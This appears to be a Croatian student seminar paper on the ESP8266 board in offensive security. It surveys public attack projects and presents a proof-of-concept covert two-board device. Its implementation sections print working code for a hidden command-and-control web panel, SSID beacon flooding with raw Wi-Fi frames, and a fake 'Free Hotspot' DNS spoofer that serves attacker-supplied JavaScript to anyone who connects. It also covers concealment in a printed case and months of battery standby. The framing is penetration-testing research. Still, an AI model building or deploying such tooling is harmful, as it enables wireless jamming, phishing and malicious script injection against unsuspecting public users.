- uređaj bude namijenjen za specifičan zadatak
- uređaj nije velike vrijednosti
- uređaj može infiltrirati u i/ili uskraćivati uslugu mreže
Gledajući po mogućim namijenama, ESP2866 može poslužiti u:
- aktivnom i pasivnom sniffanju mrežnog prometa, najbolje na otvorenim i neenkriptiranim mrežama
- man-in-the-middle napadima pretvarajući se da je valjana pristupna točka, ili u kombinaciji sa drugim hardverom može obavještavati napadača o prikupljenim informacijama
- smetanju ili onemogućavanju komunikacije putem bežićnih mreža slanjem malicioznih okvira
- prisluškivanje putem mikrofona ili drugi nadzor putem senzora, npr. broj osoba u prostoriji, temperatura, itd.
- DDOS/DOS napadima, ako je umrežena u botnet
Real World primjeri korištenja u ofenzivnoj sigurnosti
U nastavku slijede primjeri korištenja ESP8266 u ofenzivnoj sigurnosti. Navedeni primjeri nikako nisu svi primjeri koji semogu naći online, već samo oni koje je autor smatrao shodnim za ovaj rad. Primjeri su uzeti sa stranica i blogova njihovih autora, a uz svaki primjer stavljen je i link na izvor, pa se svaki primjer može i detaljnije proučiti jer ćemo ovdje staviti samo sažetak.
ESP8266 War Walker
Autor spomenutog napravio je uređaj pomoću kojeg prati dostupne pristupne točke i jačinu signala u realnom vremenu te ih prikazuje na OLED zaslonu. Autor je koristio NodeMCU LoLin (v3) pločicu koja je nasljednica pločice korištene u ovom radu. U programu se koristi se mogućnost skeniranja mreže.
Izvor: https://github.com/stevemcquaid/War-Walker, https://github.com/stevemcquaid/War-Walker
U drugom sličnom članku autor je upario pločicu sa GPS modulom te je uspio napraviti triangulaciju mjenjajući svoju lokaciju.
Izvor: https://hackaday.io/project/11611-wifi-triangulation
Baby monitor
Iako se ne radi o ofenzivnoj sigurnosti, isti primjer može se iskoristiti u kreiranju uređaja za prisluškivanju putem WiFi-a. U primjeru se koristi mikrofon, pojačivač audio signala i konverter analognog u digitalni signal koji je ugrađen u samu ESP8266 pločicu.
Izvor: https://perso.aquilenet.fr/~sven337/english/2016/07/14/DIY-wifi-baby-monitor.html, http://hackaday.com/2016/01/24/truly-versatile-esp8266-wifi-webcam-platform/, https://github.com/sven337/jeenode/tree/master/babymonitor
Building a low cost wifi camera
Kao i u prethodnom primjeru, ne radi se o čistoj primjeni u sigurnosti, no može poslužiti kao izvor za izgradnju WiFi nadzorne kamere. Autor pojašnjava kako je napravio integraciju Arducam modula (kamere koja je izvorno namjenjena za Arduino) i ESP8266 pločice. Kamera radi streaming i poslužuje ga putem lokanog webserva na portu 80.
Izvor: http://hackaday.com/2016/01/24/truly-versatile-esp8266-wifi-webcam-platform/, http://johan.kanflo.com/building-a-low-cost-wifi-camera/, https://github.com/kanflo/esparducam
Color TV Broadcasting
U ovom primjeru autor je uspio generirati TV signal i napraviti prijenos putem I2S (Inter-IC-sound) busa. Isti primjer bi mogao koristiti u smetnji televizijskog signala ili u lažnom informiranju slanjem prijenosa putem koaksijalnog/antenskog kabela.
Izvor: http://hackaday.com/2016/03/01/color-tv-broadcasts-are-esp8266s-newest-trick/, https://www.youtube.com/watch?v=bcez5pcp55w
Ethernet controller
Autor u ovom primjeru spaja Ethernet ulaz na na ESP8266 pločicu te se pomoći njega spaja na mrežu. Primjer se može iskoristiti u sniffanju lokalne mreže putem etherneta ili u pristupanju resursa dostupnih samo putem lokalne mreže. Autor koristi nešto pomoćnog hardvera i, izmeđuostalog i I2S bus.
Izvor: http://hackaday.com/2016/04/01/ethernet-controller-discovered-in-the-esp8266/, https://www.youtube.com/watch?v=XKnyAYKP434, https://github.com/cnlohr/espthernet
Captive portal / DNS redirection
Primjer pokazuje kako napraviti tzv. captive portal i DNS redirekciju. Autor koristi mogućnost pružanja pristupne točke kako bi napravio lažnu pristupnu točku i preusmjerio korisnike na lokalni webserver. Ovaj primjer može poslužiti u zarazi uređaja sa exploitom koji bi bio stavljen na lažnu stranicu, ili pak može poslužiti u phishing napadima.
Izvor: https://www.hackster.io/rayburne/esp8266-captive-portal-5798ff
Multi target De-Auth attack
Sljedeći članak opisuje izgradnju uređaja koji izbacuje uređaje povezane na neku pristupnu točku. Autor koristi dvije ESP8266 pločice. S jednom pločicom obavlja se sniffanje prometa i identifikacija povezanih uređaja, a sa drugim uređajem šalju se tzv. deautentikacijski okviri. Po prispjeću deautentikacijskih okvira na spojeni uređaj, isti se odjavljuje sa te pristupne točke te korisnik ostaje bez pristupa mreži.
Izvor: https://hackaday.io/post/30838
WiFi AP flooding
Autor članka koristi wifi_send_pkt_freedom() funkciju iz službenog SDK kako bi slao okvire koji su slobodno konstruirani, tj. nije potreban nikakav protokol koji im prethodi. Autor stoga konstruira paket kojim se pristupne točke oglašavaju (aktivno oglašavanje) te odašilje otvoreno odašilje takve okvire. Rezultat je taj da svi koji su u neposrednoj blizini vide jako puno zapravo nepostojićih pristupnih točaka, pa se time stvara velika buka u mrežnom prostoru.
Izvor: http://ruralhacker.blogspot.hr/2016/01/esp8266-jamming.html, https://github.com/kripthor/WiFiBeaconJam, https://www.youtube.com/watch?v=ENWX5Vf_l1Y
Universal Serial aBUSe
Autori koriste Teensy pločicu u kombinaciji sa ESP8266 kako bi kreirali lažni USB periferni uređaj (tipkovnica/miš) i omogućili napadaću pristup na računalo putem VNC-a. Autori koriste općenitu nezaštićenost USB portova od ovakvih napada.
Izvor: https://sensepost.com/blog/2016/universal-serial-abuse/, https://www.youtube.com/watch?v=5gMvtUq30fA, https://github.com/sensepost/USaBUSe
Mini Wifi Sniffer
U ovom primjeru autor je napravio funkcionalni sniffer koji ispisuje oglašavanje pristupnih točaka, i slanje upita uređaja (probe request) za oglasom pristupnih točaka. Iako ovo nije sniffer u punom smislu, vrlo je zanimljiv zbog jednostavne imeplementacije.
Izvor: https://www.hackster.io/rayburne/esp8266-mini-sniff-f6b93a
Implementacija
U ovom poglavlju bavimo se proof of concept implementacijom. Implementacija treba pokazati mogućnost korištenja u ofenzivnoj sigurnosti, tj. u penetracijskom testiranju. Implementacija nikako ne predstavlja sve mogućnosti NodeMCU ESP2866 pločice, već pokazuje samo mali dio.
Arhitektura
Dizajn sustava napravljen je prema sljedećoj zamisli. Korisnik bi trebao moći uređajima upravljati ili putem weba, ili putem lokalne mreže u neposrednoj blizini. Uređaji bi bili postavljeni na lokaciju od interesa za samog napadača. Na primjer, u blizini pristupne točke, u nečijem uredu ili pak na javnom mjestu - lokaciju interesa određuje napadač. Uređaj bi se, u glavnini, sastojao od dvije NodeMCU pločice povezane serijski te izvora struje - baterijskog članka. Jedna od pločica (CommandAndControl Node) prihvaćala bi upute sa webservisa, ili bi se spajala na pristupnu točku napadača, ili bi pak bila pristupna točka na koju se napadač može spojiti, i upravljati uređajem. Kada CommandAndControl pločica dobije naredbu za izvršavanjem određenog zadatka, istu prosljeđuje drugoj, Execute Node, pločici, koja isti zadatak izvršava, ili u slučaju da su za zadatak potrebne obje pločice, tada pločice isti zadatak simultano izvršavaju. Ukoliko je potreban izvještaj, CommandAndControl pločica šalje podatke natrag napadaču. Na sljedećoj skici dan je prikaz navedene arhitekture sustava.
Hardverska implementacija
Za implementaciju gore objašnjene arhitekture korišten je sljedeći hardver:
- 2x NodeMCU ESP8266 DEVKIT v2 pločica (2 x $5)
- 3.7V baterijski članak sa USB izlazom za spajanje putem USB-a (5V) i indikatorom potrošenosti kapaciteta 2 x 2600 mAh (5200 mAh) - SAMSUNG ICR 18650-26F ($4)
- USB na micro USB kabel sa prekidačem ($1)
- female-to-female set od četri kabela za serijsko spajanje pločica i napajanje ($1)
- 3D printana kutija prilagođena hardveru za zaštitu i maskiranje ($10 u materijalu)
Ukupna cijena hardvera: $26, cca. 190 kn.
Spajanje hardvera
Hardver je spojen na sljedeći način. CommandAndControl pločica spojena je na izvor napajanja putem USB kabela sa prekidačem. Execute pločica spaja se na CommanAndControl pločicu, tako da se naponski vod jedne pločice (Vcc) spoji na naponski vod druge, a isto tako i uzemljenje (Gnd). Serijska komunikacija ostvarena je spajanjem UART vodova Tx (Transmit) i Rx (Receive), tako da se Tx vod jedne pločice spaja na Rx vod druge i obrnuto. Elektronička shema spajanja dana je na sljedećem prikazu.
Primjetimo, gornji prikaz nije u potpunosti točan jer ne prikazuje spajanje izvora na regulirani ulaz već je prikazano direktno spajanje. Konačni spoj hardvera dan je na prikazu ispod:
Baterija
Treba voditi poseban oprez pri odabiru baterije jer ove specifične pločice ne toleriraju napon veći od 10V. Baterija je u ovom slučaju spojena preko USB sučelja na samoj pločici, a razlog je taj što pločica na sebi ima regulator napona, te ostale mehanizme za kontrolu potrošnje, koji su dostupni samo ako se koristi USB ulaz. Stoga, nije preporučeno bateriju spajati direktno na naponski vod, odnosno uzemljenje, no ako se već spaja direktno, napon bi trebao biti ~3.3V i trebao bi se koristiti regulator napona, kako ne bi došlo do oštećenja uređaja.
Baterija je vrlo važna stavka kod planiranja napada. Ukoliko napadač nema stalni pristup mjestu napada, ili pak ne želi biti u blizini napada koji će biti izvršen, tada uređaj treba biti u mogućnosti biti u pripravnosti i čekati na naredbu za izvršavanje određene radnje. Mogućnost bivanja u pripravnosti u velikoj mjeri određuje baterija kakvu koristimo u njemu, jer uređaj moži biti u pripravnosti onoliko vremena koliko mu to baterija dopušta. Trajanje baterije ovisi o njenoj kakvoći, kapacitetu i vanjskim utjecajim - pogotovo temperaturi. U implementaciji koristimo Li-ion baterijske članke kapaciteta 5200 mAh i napona 3.7 volta.
Općenito, za okvirno računanje trajanja baterije u satima možemo koristiti sljedeću formulu:
gdje je 0.7 faktor utjecaja vremenskih uvijeta i samostalno pražnjenje tijekom vremena.
Ako uzmemo srednje vrijednosti, te u račun uključimo obje pločice, dobivamo sljedeću tablicu trajanja korištenja (za potošnju su uzete vrijednosti sa stranice trgovca i baterija koja služi u implementaciji):
Opis korištenja | Potrošnja | Trajanje u satima |
---|---|---|
Kontinuirana komunikacija, normalan način rada | 140 mA | 26 h (1 dan) |
U pripravnosti (Light sleep - Slika 13) | 2 mA | 1820 (72 dana) |
U pripravnosti (Deep sleep - Slika 13) | 0.4 mA | 9100 (379 dana) |
3D printano kućište
Kako bi zaštitili i maskirali hardver potrebno nam je kućište, pa je stoga napravljeno i specijalno kućište koje odgovara dimenzijama korištenog hardvera. Primjetite, na kućištu postoje dodatni otvori za planirane nadogradnje, poput ethernet porta.
3D objekt za printanje dostupan je na za preuzimanje na sljedećem linku https://www.tinkercad.com/things/kkx3c1RP4c8-sisbox-full/editv2?sharecode=SXJGaFZfwJFloNcvvgK3lET0z3qwlq5UC3dnjBxQYq4=
Implementacija funkcionalnosti
U ovom dijelu pojasniti ćemo proof of concept implementaciju sljedećih funkcionalnosti:
- Serijska komunikacija između Node-ova (C&C vs. Execute)
- Komunikacija s napadačem
- putem lokalne bežićne mreže
- (D)DOS
- SSID beacon flooding
- DeAuth jamming (još nije implementirano)
- Null Probe response flooding (još nije implementirano)
- DNS spoofing
Serijska komunikacija između Node-ova (C&C vs. Execute)
Kako je pojašnjeno u prethodnom poglavlju, koje govori o implementaciji hardvera, za komunikaciju između nodeova koristi se serijska veza. Kako ne bi morali raditi na low lewel komunikaciji, korištena je biblioteka EasyTransfer (https://github.com/madsci1016/Arduino-EasyTransfer). Spomenuta biblioteka omogućava kreiranje vlastite strukture paketa koji se šalje između povezanih uređaja.
U implementaciji je napravljena struktura sljedećeg oblika:
struct PACKET { int command; int param; char value[255]; };
gdje polja imaju sljedeći značaj:
- command - cijeli broj koji određuje operaciju koja se ima izvršiti
- param - cijeli broj koji nosi dodatnu informaciju i određuje neku specifičnost izvođenja operacije
- value - tekstualnog oblika, do 255 znakova, predstavlja podatke koji su potrebni pri izvođenju operacije
Komunikacija s napadačem
Komunikacija s napadačem odvija se putem napadačeve pristupne točke. CommandAndControl node konstantno skenira okolne bežićne mreže i ukoliko detektira da je dostupna mreža koja odgovara unaprijed dogovorenim kredencijalima, tada se na istu mrežu spaja i pokreće webserver. Napadač se tada može direktno spojiti na C&C web panel kojeg poslužuje uređaj. Ovo je primarno iz razloga da se uređaj ne bi mogao tako lako detektirati ukoliko je potreba da ostane skriven.
Kako možemo vidjeti iz priloženog, panel je vrlo jednostavan, poglavito iz razloga što mora biti posluživan sa same pločice. Panel nudi pokretanje operacija svih implementiranih funkcionalnosti. Način rada je sljedeći; kada napadač pokrene neki napad, na server se šalje novi zahtijev sa specifičnim GET parametrima. Nakon toga, webserver obrađuje zahtijev i izvršava potrebnu operaciju.
U nastavku slijedi korisnički ruter:
PACKET requestHandler() { // Provjerava se da li se klijent spojio PACKET packet; client = server.available(); if (!client) { packet.command = -1; return packet; } //Čeka se da klijent pošalje svoj zahtijev Serial.println("Novi klijent na C2C panelu!"); while (!client.available()) { delay(1); } //Čita se prva linija requesta te se čisti korisnički buffer String request = client.readStringUntil('\r'); Serial.println(request); client.flush(); //Klijentu se odgovara sa shodnim zaglavljem i sadržajem client.println("HTTP/1.1 200 OK"); client.println("Content-Type: text/html"); client.println(""); // do not forget this one //U ovom se dijelu korisnika preusmjerava na potrebnu akciju if (request.indexOf("/flo") != -1) { int numberOfSeconds = request.substring(request.indexOf("=") + 1, request.indexOf(" HTTP")).toInt(); client.println(html); delay(1); packet.command = 1; packet.param = numberOfSeconds; } else if (request.indexOf("/dns") != -1) { int numberOfSeconds = request.substring(request.indexOf("d=") + 1, request.indexOf("&pay")).toInt(); const char *payload = request.substring(request.indexOf("pay=") + 4, request.indexOf(" HTTP")).c_str(); client.println(html); delay(1); packet.command = 2; packet.param = numberOfSeconds; strcpy(packet.value, payload); } else { client.println(html); delay(1); packet.command = 0; } //Backendu se vraća zahtijev u strukturi paketa sa naredbom, parametrom i vrijednošću return packet; }
Dio koda koji obrađuje zaprimljeni paket od korisničkog rutera i šalje odgovarajuću naredbu Execute nodu:
switch (request.command) { case -1: delay(1000); break; case 0: break; case 1: packet.command = 1; packet.param = request.param; strcpy(packet.value, request.value); ET.sendData(); break; case 2: packet.command = 2; packet.param = request.param; Serial.println("Strcopy!"); strcpy(packet.value, request.value); Serial.println(packet.value); ET.sendData(); break; }
SSID beacon flooding
SSID beacon flooding prva je od implementiranih ofenzivnih funkcionalnosti. Ova funkcionalnost oslanja se na tzv. promiscous modu rada koji dolazi iz službenog ESP8266 SDK-a. U promiscous modu dozvoljeno je konstruirati vlastiti okvir i slobodno ga odaslati. Za mogućnost odašiljanja slobodnih paketa koristi se funkcija wifi_send_pkt_freedom(). Ovo nam omogućuje da konstruiramo vlastiti beacon okvir, čija je zadaća informirati okolne uređaje da WiFi pristupna točka postoji.
Navedeno u ovoj funkcionalnosti koristimo kako bismo oglašavali nepostojeće pristupne točke, i to u velikoj količini (tzv, flooding) i tako zaglušili pronalaženje ispravne pristupne točke. Neki uređaji imuni su na ovaj napad jer imaju vrlo mali interval skeniranja mreže, pa se u listi dostupnih pristupnih točaka nađe samo jedan lažan. Na većini uređaja interval je dovoljno velik da budu zahvaćeni ovim napadom.
U nastavku slijedi kod koji implementira funkcionalnost:
namespace SSIDFlood { byte channel; //Kreiranje paketa sa statičkim vrijednostima (plain paket) uint8_t packet[] = { 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0xc0, 0x6c, 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, 0x64, 0x00, 0x01, 0x04, 0x00, 0x20, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, 0x04 }; //Omogućavanje promiscous moda void enablePromiscousMode() { wifi_station_disconnect(); wifi_set_opmode(STATION_MODE); wifi_promiscuous_enable(1); } //Petlja u kojoj se izmjenjuju vrijednosti iz statičnog paketa te se paket odašilje int startFlooding(int time) { enablePromiscousMode(); int timeInMs = time * 1000; while (timeInMs) { channel = random(1, 12); wifi_set_channel(channel); for (int i = 10; i < 22; i++) { packet[10] = random(256); } for (int i = 38; i < 70; i++) { packet[i] = wchar_t(random(65480)); } packet[82] = channel; wifi_send_pkt_freedom(packet, 83, 0); timeInMs -= 1; delay(1); } wifi_promiscuous_enable(0); return 1; }
Treba obratiti pažnju na sljedeće. Espressif je od SDK 1.4 uklonio mogućnost slobodnog slanja paketa, pa je potrebno se prebaciti, ukoliko se koristi Arduino core, na commit 1c5751460b7988041fdc80e0f28a31464cdf97a3.
git checkout 1c5751460b7988041fdc80e0f28a31464cdf97a3
DNS spoofing
Sljedeća funkcionalnost jest DNS spoofing, tj., korištenje lažnog DNS servisa koji namjerno vraća krive DNS zapise, ne bi li korisnika preusmjerio na stranicu sa malicioznim kodom, ili pak phishing stranicu. Konkretno, u trenutnoj implementaciji, napadač može preko C&C panela unijeti Javascipt payload u HEX obliku, a onda ga Execute node servira korisnicima.
Napad se najbolje može očitovati na javnome mjestu, gdje bi bilo dosta korisnika koji bi se spajali na lažnu pristupnu točku sa besplatnim internetom. Kada je korisnik spojen na pristupnu točku, svi DNS requestovi preusmjeravaju se na lokalnog DNS poslužitelja, koji pak za svaki zahtijev poslužuje istu stranicu.
U nastavku je kod implementacije DNS spoofera:
namespace DNSSpoofer { const byte DNS_PORT = 53; IPAddress apIP(192, 168, 1, 1); DNSServer dnsServer; ESP8266WebServer webServer(80); char nibble2c(char c) { if ((c>='0') && (c<='9')) return c-'0' ; if ((c>='A') && (c<='F')) return c+10-'A' ; if ((c>='a') && (c<='a')) return c+10-'a' ; return -1 ; } char hex2c(char c1, char c2) { if(nibble2c(c2) >= 0) return nibble2c(c1)*16+nibble2c(c2) ; return nibble2c(c1) ; } String hex2str(char *data) { String result = "" ; for (int i=0 ; nibble2c(data[i])>=0 ; i++) { result += hex2c(data[i],data[i+1]) ; if(nibble2c(data[i+1])>=0) i++ ; } return result; } int startDnsSpoofer(char *payload, int time) { WiFi.mode(WIFI_AP); WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); WiFi.softAP("Free Hotspot :)"); dnsServer.setTTL(300); dnsServer.setErrorReplyCode(DNSReplyCode::ServerFailure); dnsServer.start(DNS_PORT, "*", apIP); webServer.onNotFound([&payload]() { String message = "<!doctype html><html><head><script>"; message += hex2str(payload); message += "</script><body></body></html>"; Serial.println(message); webServer.send(200, "text/plain", message); }); webServer.begin(); int timeInMs = time * 1000; while (timeInMs) { dnsServer.processNextRequest(); webServer.handleClient(); timeInMs -= 100; delay(100); } webServer.stop(); WiFi.mode(WIFI_STA); return 1; } }
Budući rad
Planirano je napraviti još nekoliko nadogradnji i implementacija:
- Ethernet priključak - omogućio bi spajanje na žićnu mrežu
- OTA - over-the-air update, omogućuje reprogramiranje putem mreže
- GSM modul - omogućuje komunikaciju s napadačem putem sigurne i uvijek dostupne veze
- Implementacija ostalih vrsta napada i skenera ranjivosti.
Izvorni kod
Sav izvorni kod dostupan je na Git repozitoriju na adresi: https://github.com/rLoka/ESP8266
Autori od kojih su preuzeti neki dijelovi koda spomenuti su na početku datoteke koja sadrži posuđeni izvorni kod.
Izvorni kod stavljen je u javnu domenu Unlicense licencijom (osim djelova preuzetih od drugih autora koji zadržavaju svoju licenciju):
This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. For more information, please refer to <http://unlicense.org/>
Zaključak
U ovom radu obrađen je jedan od popularnijih IOT hardvera te su istaknute njegove tehničke karakteristike, mogućnosti, načini rada i korištenje u ofenzivnoj sigurnosti. Pokazano je kako pločica pokriva vrlo specifičnu domenu ofenzivne sigurnosti, a ta je rad na udeljenosti kao prijenosni i skriveni uređaj.
Literatura
- Wikipedia, NodeMCU, preuzeto 30.12.2016. sa https://en.wikipedia.org/wiki/NodeMCU
- Nicky Woolf, The Guardian,DDoS attack that disrupted internet was largest of its kind in history, experts say, preuzeto 31.12.2016. sa https://www.theguardian.com/technology/2016/oct/26/ddos-attack-dyn-mirai-botnet
- Gaillard F., Eieland A., Atmel, Microprocessor (MPU) or Microcontroller (MCU)? What factors should you consider when selecting the right processing device for your next design, preuzeto 31.12.2016. sa http://www.atmel.com/Images/MCU_vs_MPU_Article.pdf
- Radovici A., Lecture 5: Electronics for the Internet of Things, preuzeto 31.12.2016. sa http://ocw.cs.pub.ro/courses/iot/courses/05
- Wikipedia, System on a chip, preuzeto 08.01.2017. sa https://en.wikipedia.org/wiki/System_on_a_chip
- Espriff, ESP8266EX Datasheet, preuzeto 08.01.2017. sa http://espressif.com/sites/default/files/documentation/0a-esp8266ex_datasheet_en.pdf
- Wikipedia, Static random-access memory, preuzeto 08.01.2017. sa https://en.wikipedia.org/wiki/Static_random-access_memory
- Wikipedia, Wi-Fi Direct, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wi-Fi_Direct
- Wikipedia, Wireless LAN, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wireless_LAN
- Wikipedia, CCMP, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/CCMP
- Wikipedia, Temporal Key Integrity Protocol, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol
- Wikipedia, WLAN Authentication and Privacy Infrastructure, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol
- Wikipedia, Wired Equivalent Privacy, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wired_Equivalent_Privacy
- Wikipedia, Cyclic redundancy check, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Cyclic_redundancy_check
- Wikipedia, Wi-Fi Protected Access, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wi-Fi_Protected_Access
- Wikipedia, Wi-Fi Protected Setup, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup
- Espriff, ESP8266 Non-OS SDK, API Reference, preuzeto 09.01.2017. sa https://espressif.com/sites/default/files/documentation/2c-esp8266_non_os_sdk_api_reference_en.pdf
- Wikipedia, ESP8266, preuzeto 09.01.2017. sa https://en.wikipedia.org/wiki/ESP8266
- elecrow.com, ESP-12F WiFi Module (version 1.0), preuzeto 09.01.2017. sa https://www.elecrow.com/download/ESP-12F.pdf
- ESP8266.net, The Internet of things with ESP8266, preuzeto 09.01.2017. sa http://esp8266.net
- wch.cn, The DataSheet of CH340, preuzeto 09.01.2017. sa https://www.olimex.com/Products/Breadboarding/BB-CH340T/resources/CH340DS1.PDF
- Nick Moore, PyCon Australia, ESP8266 and MicroPython, preuzeto 09.01.2017. sa https://www.youtube.com/watch?v=C19fFU-TVWU
- Kolban N., Kolban's Book on the ESP32 & ESP8266, preuzeto 10.01.2017. sa https://leanpub.com/ESP8266_ESP32
- micropython.org, MicroPython, preuzeto 10.01.2017. sa https://micropython.org/
- ESP8266 Community Forum, Arduino core for ESP8266 WiFi chip, preuzeto 11.01.2017. sa https://github.com/esp8266/Arduino
Vanjske poveznice
- BalCCon2k16 - Tonimir Kisasondi - Exploring the IoT attack surface
- How Arduino is open-sourcing imagination | Massimo Banzi
Također pogledajte
- Paralllella board - primjena za kriptoanalizu
- Integracija ESP8266 modula i mikrofona
- Korištenje ESP8266 u kriptografiji
- Sigurnosni problemi lozinki i AES enkripcija pomoću ARM baziranog mikrokontrolera
- BadUSB
- Keylogger
- Sigurnost Wireless mreža
- Hakiranje uporabom mobilnih uređaja – footprinting, scanning, enumeration, system hacking, sniffing, Dos attack, etc.
- Širenje virusa putem otvorene wirelles mreže
- Sigurnost WLAN mreža
- Sigurnosni Wireless mreže
- Redovito pratiti i testirati mreže